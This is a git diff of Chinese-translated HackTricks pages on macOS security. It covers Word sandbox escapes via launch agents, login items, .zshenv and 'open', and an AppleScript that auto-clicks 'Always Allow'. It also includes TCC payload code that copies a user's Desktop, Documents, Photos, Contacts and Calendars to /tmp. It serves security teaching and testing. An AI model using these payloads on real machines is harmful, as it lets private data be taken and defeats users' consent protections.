(GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。 -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index c2e01fded..d12e52276 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,22 +1,21 @@ -# macOS Default Sandbox Debug +# macOS 默认沙箱调试 -## macOS默认沙箱调试 +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} -在本页面中,您可以找到如何创建一个应用程序,从默认的macOS沙箱中启动任意命令: +在此页面中,您可以找到如何创建一个应用程序以从默认 macOS 沙箱内部启动任意命令: 1. 编译应用程序: @@ -52,10 +51,9 @@ return 0; ``` {% endcode %} -运行以下命令进行编译:`clang -framework Foundation -o SandboxedShellApp main.m` - -2. 构建 `.app` bundle +编译运行: `clang -framework Foundation -o SandboxedShellApp main.m` +2. 构建 `.app` 包 ```bash mkdir -p SandboxedShellApp.app/Contents/MacOS mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ @@ -77,9 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` +3. 定义权限 -3. 定义授权 - +{% tabs %} +{% tab title="sandbox" %} ```bash cat << EOF > entitlements.plist @@ -92,25 +91,45 @@ cat << EOF > entitlements.plist EOF ``` +{% endtab %} -\`\`\`bash cat << EOF > entitlements.plist com.apple.security.app-sandbox com.apple.security.files.downloads.read-write EOF \`\`\` 4. 对应用程序进行签名(您需要在钥匙串中创建一个证书) \`\`\`bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp - -## An d in case you need this in the future - -codesign --remove-signature SandboxedShellApp.app - +{% tab title="沙箱 + 下载" %} +```bash +cat << EOF > entitlements.plist + + + + +com.apple.security.app-sandbox + +com.apple.security.files.downloads.read-write + + + +EOF ``` +{% endtab %} +{% endtabs %} + +4. 签署应用程序(您需要在钥匙串中创建一个证书) +```bash +codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app +./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp + +# An d in case you need this in the future +codesign --remove-signature SandboxedShellApp.app +``` +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -其他支持HackTricks的方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
-``` +{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 7476131e1..29fceff49 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,76 +1,78 @@ # macOS Office Sandbox Bypasses -
- -从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) - -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 - -
- -### 通过启动代理绕过Word沙箱 - -该应用程序使用一个**自定义沙箱**,使用权限**`com.apple.security.temporary-exception.sbpl`**,这个自定义沙箱允许在文件名以`~$`开头时在任何地方写入文件:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` - -因此,绕过很容易,只需在`~/Library/LaunchAgents/~$escape.plist`中编写一个`plist`启动代理。 - -查看[**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。 - -### 通过登录项和zip绕过Word沙箱 - -请记住,从第一个逃逸开始,Word可以写入任意以`~$`开头的文件,尽管在修补了先前漏洞之后,无法在`/Library/Application Scripts`或`/Library/LaunchAgents`中写入。 - -在沙箱内发现可以创建一个**登录项**(用户登录时将执行的应用程序)。但是,这些应用程序**不会执行**,除非它们经过**公证**,并且**无法添加参数**(因此无法使用**`bash`**运行反向shell)。 - -从先前的沙箱绕过中,Microsoft禁用了在`~/Library/LaunchAgents`中写入文件的选项。但是,发现如果将**zip文件作为登录项**,`Archive Utility`将只是在当前位置解压缩它。因此,由于默认情况下`~/Library`中的`LaunchAgents`文件夹未创建,可以**在`~/Library`中压缩一个plist文件`LaunchAgents/~$escape.plist`**,并将zip文件放在**`~/Library`**中,因此在解压缩时将到达持久性目的地。 - -查看[**原始报告**](https://objective-see.org/blog/blog_0x4B.html)。 - -### 通过登录项和.zshenv绕过Word沙箱 - -(请记住,从第一个逃逸开始,Word可以写入任意以`~$`开头的文件)。 - -然而,先前的技术有一个限制,如果文件夹**`~/Library/LaunchAgents`**存在,因为其他软件创建了它,它将失败。因此,为此发现了不同的登录项链。 - -攻击者可以创建带有执行负载的文件**`.bash_profile`**和**`.zshenv`**,然后将它们压缩并将zip文件写入受害者的用户文件夹:**`~/~$escape.zip`**。 - -然后,将zip文件添加到**登录项**,然后添加**`Terminal`**应用程序。当用户重新登录时,zip文件将解压缩到用户文件中,覆盖**`.bash_profile`**和**`.zshenv`**,因此终端将执行其中一个文件(取决于使用的是bash还是zsh)。 - -查看[**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。 - -### 使用Open和环境变量绕过Word沙箱 - -从沙箱化进程仍然可以使用**`open`**实用程序调用其他进程。此外,这些进程将在其自己的沙箱中运行。 - -发现`open`实用程序具有**`--env`**选项,用于使用**特定环境**变量运行应用程序。因此,可以在**沙箱内的文件夹中创建`.zshenv`文件**,然后使用`open`设置**`HOME`变量**到该文件夹,打开`Terminal`应用程序,该应用程序将执行`.zshenv`文件(由于某种原因,还需要设置变量`__OSINSTALL_ENVIROMENT`)。 - -查看[**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。 - -### 使用Open和stdin绕过Word沙箱 - -**`open`**实用程序还支持**`--stdin`**参数(在先前的绕过之后,无法再使用`--env`)。 - -问题在于,即使**`python`**由Apple签名,它也**不会执行**带有**`quarantine`**属性的脚本。但是,可以将脚本从stdin传递给它,因此它不会检查它是否被隔离: - -1. 放置一个带有任意Python命令的**`~$exploit.py`**文件。 -2. 运行_open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为其标准输入运行Python应用程序。Python愉快地运行我们的代码,并且由于它是_launchd_的子进程,它不受Word沙箱规则的约束。 +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} + +### Word Sandbox 通过 Launch Agents 绕过 + +该应用程序使用 **自定义沙箱**,使用权限 **`com.apple.security.temporary-exception.sbpl`**,此自定义沙箱允许在任何地方写入文件,只要文件名以 `~$` 开头:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` + +因此,逃逸的方式就是 **在 `~/Library/LaunchAgents/~$escape.plist` 中写入一个 `plist`** 启动代理。 + +查看 [**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。 + +### Word Sandbox 通过登录项和 zip 绕过 + +请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件,尽管在之前漏洞的修补后,无法在 `/Library/Application Scripts` 或 `/Library/LaunchAgents` 中写入。 + +发现从沙箱内可以创建 **登录项**(用户登录时将执行的应用程序)。但是,这些应用程序 **不会执行,除非** 它们 **经过公证**,并且 **无法添加参数**(因此不能仅使用 **`bash`** 运行反向 shell)。 + +在之前的沙箱绕过中,微软禁用了在 `~/Library/LaunchAgents` 中写入文件的选项。然而,发现如果将 **zip 文件作为登录项**,`Archive Utility` 将会 **解压** 到其当前位置。因此,由于默认情况下 `~/Library` 中不会创建 `LaunchAgents` 文件夹,可以 **将 plist 压缩到 `LaunchAgents/~$escape.plist` 中**,并 **将 zip 文件放置在 `~/Library` 中**,这样解压时将到达持久性目标。 + +查看 [**原始报告**](https://objective-see.org/blog/blog\_0x4B.html)。 + +### Word Sandbox 通过登录项和 .zshenv 绕过 + +(请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件)。 + +然而,之前的技术有一个限制,如果 **`~/Library/LaunchAgents`** 文件夹存在,因为其他软件创建了它,则会失败。因此,发现了一个不同的登录项链。 + +攻击者可以创建 **`.bash_profile`** 和 **`.zshenv`** 文件,包含要执行的有效载荷,然后将它们压缩并 **写入受害者** 的用户文件夹:**`~/~$escape.zip`**。 + +然后,将 zip 文件添加到 **登录项**,然后是 **`Terminal`** 应用程序。当用户重新登录时,zip 文件将被解压到用户文件中,覆盖 **`.bash_profile`** 和 **`.zshenv`**,因此,终端将执行其中一个文件(取决于使用的是 bash 还是 zsh)。 + +查看 [**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。 + +### Word Sandbox 通过 Open 和 env 变量绕过 + +从沙箱进程中,仍然可以使用 **`open`** 工具调用其他进程。此外,这些进程将在 **自己的沙箱** 中运行。 + +发现 open 工具具有 **`--env`** 选项,可以使用 **特定的 env** 变量运行应用程序。因此,可以在 **沙箱内** 的文件夹中创建 **`.zshenv` 文件**,并使用 `open` 和 `--env` 将 **`HOME` 变量** 设置为该文件夹,打开 `Terminal` 应用程序,这将执行 `.zshenv` 文件(出于某种原因,还需要设置变量 `__OSINSTALL_ENVIROMENT`)。 + +查看 [**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。 + +### Word Sandbox 通过 Open 和 stdin 绕过 + +**`open`** 工具还支持 **`--stdin`** 参数(在之前的绕过后,无法再使用 `--env`)。 + +问题是,即使 **`python`** 是由 Apple 签名的,它也 **不会执行** 带有 **`quarantine`** 属性的脚本。然而,可以通过 stdin 传递脚本,这样就不会检查它是否被隔离: + +1. 放置一个 **`~$exploit.py`** 文件,包含任意 Python 命令。 +2. 运行 _open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为标准输入运行 Python 应用程序。Python 高兴地运行我们的代码,并且由于它是 _launchd_ 的子进程,因此不受 Word 沙箱规则的限制。 + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。 + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index b40e14064..31ef71ef2 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,34 +1,35 @@ -# macOS苹果脚本 +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +Support HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## 苹果脚本 +## Apple Scripts -这是一种用于任务自动化的脚本语言,**与远程进程进行交互**。它可以很容易地**要求其他进程执行某些操作**。**恶意软件**可能会滥用这些功能来滥用其他进程导出的功能。\ -例如,恶意软件可以**在打开的浏览器页面中注入任意JS代码**。或者**自动点击**用户请求的权限允许。 +这是一种用于任务自动化的脚本语言,**与远程进程交互**。它使得**请求其他进程执行某些操作**变得相当简单。**恶意软件**可能会滥用这些功能,以利用其他进程导出的功能。\ +例如,恶意软件可以**在浏览器打开的页面中注入任意的JS代码**。或者**自动点击**用户请求的某些允许权限; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` -以下是一些示例:[https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -查找有关使用AppleScripts的恶意软件的更多信息[**在这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。 +这里有一些示例: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ +有关使用苹果脚本的恶意软件的更多信息 [**在这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。 -Apple脚本可能很容易被“**编译**”。这些版本可以很容易地通过`osadecompile`进行“**反编译**”。 +苹果脚本可以很容易地 "**编译**"。这些版本可以通过 `osadecompile` 很容易地 "**反编译**"。 -然而,这些脚本也可以被导出为“只读”(通过“导出...”选项): +然而,这些脚本也可以 **导出为“只读”**(通过“导出...”选项):
``` @@ -37,18 +38,19 @@ mal.scpt: AppleScript compiled ``` 在这种情况下,即使使用 `osadecompile` 也无法反编译内容。 -然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读此研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 与 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有用,以了解脚本的工作原理。 +然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读这项研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 和 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有助于理解脚本的工作原理。 + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想看到您的 **公司在 HackTricks 中被广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来 **分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index e43043141..861d122f0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,26 +1,27 @@ -# macOS TCC 负载 +# macOS TCC Payloads + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %} ### 桌面 -* **授权**: 无 -* **TCC**: kTCCServiceSystemPolicyDesktopFolder +* **权限**:无 +* **TCC**:kTCCServiceSystemPolicyDesktopFolder {% tabs %} -{% tab title="ObjectiveC" %} +{% tab title="ObjetiveC" %} 将 `$HOME/Desktop` 复制到 `/tmp/desktop`。 ```objectivec #include @@ -56,7 +57,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -将`$HOME/Desktop`复制到`/tmp/desktop`。 +将 `$HOME/Desktop` 复制到 `/tmp/desktop`。 ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -70,7 +71,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop" {% tabs %} {% tab title="ObjetiveC" %} -将`$HOME/Documents`复制到`/tmp/documents`。 +将 `$HOME/Documents` 复制到 `/tmp/documents`。 ```objectivec #include #include @@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -将`$HOME/`Documents复制到`/tmp/documents`。 +将 `$HOME/`Documents 复制到 `/tmp/documents`。 ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -119,7 +120,7 @@ cp -r "$HOME/Documents" "/tmp/documents" {% tabs %} {% tab title="ObjetiveC" %} -将`$HOME/Downloads`复制到`/tmp/downloads`。 +将 `$HOME/Downloads` 复制到 `/tmp/downloads`。 ```objectivec #include #include @@ -154,7 +155,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -将`$HOME/Dowloads`复制到`/tmp/downloads`。 +将 `$HOME/Dowloads` 复制到 `/tmp/downloads`。 ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` @@ -168,7 +169,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads" {% tabs %} {% tab title="ObjetiveC" %} -将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。 +将 `$HOME/Pictures/Photos Library.photoslibrary` 复制到 `/tmp/photos`。 ```objectivec #include #include @@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。 +将 `$HOME/Pictures/Photos Library.photoslibrary` 复制到 `/tmp/photos`。 ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -217,7 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" {% tabs %} {% tab title="ObjetiveC" %} -将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。 +将 `$HOME/Library/Application Support/AddressBook` 复制到 `/tmp/contacts`。 ```objectivec #include #include @@ -252,7 +253,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。 +将 `$HOME/Library/Application Support/AddressBook` 复制到 `/tmp/contacts`。 ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -266,7 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" {% tabs %} {% tab title="ObjectiveC" %} -将`$HOME/Library/Calendars`复制到`/tmp/calendars`。 +将 `$HOME/Library/Calendars` 复制到 `/tmp/calendars`。 ```objectivec #include #include @@ -301,7 +302,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} 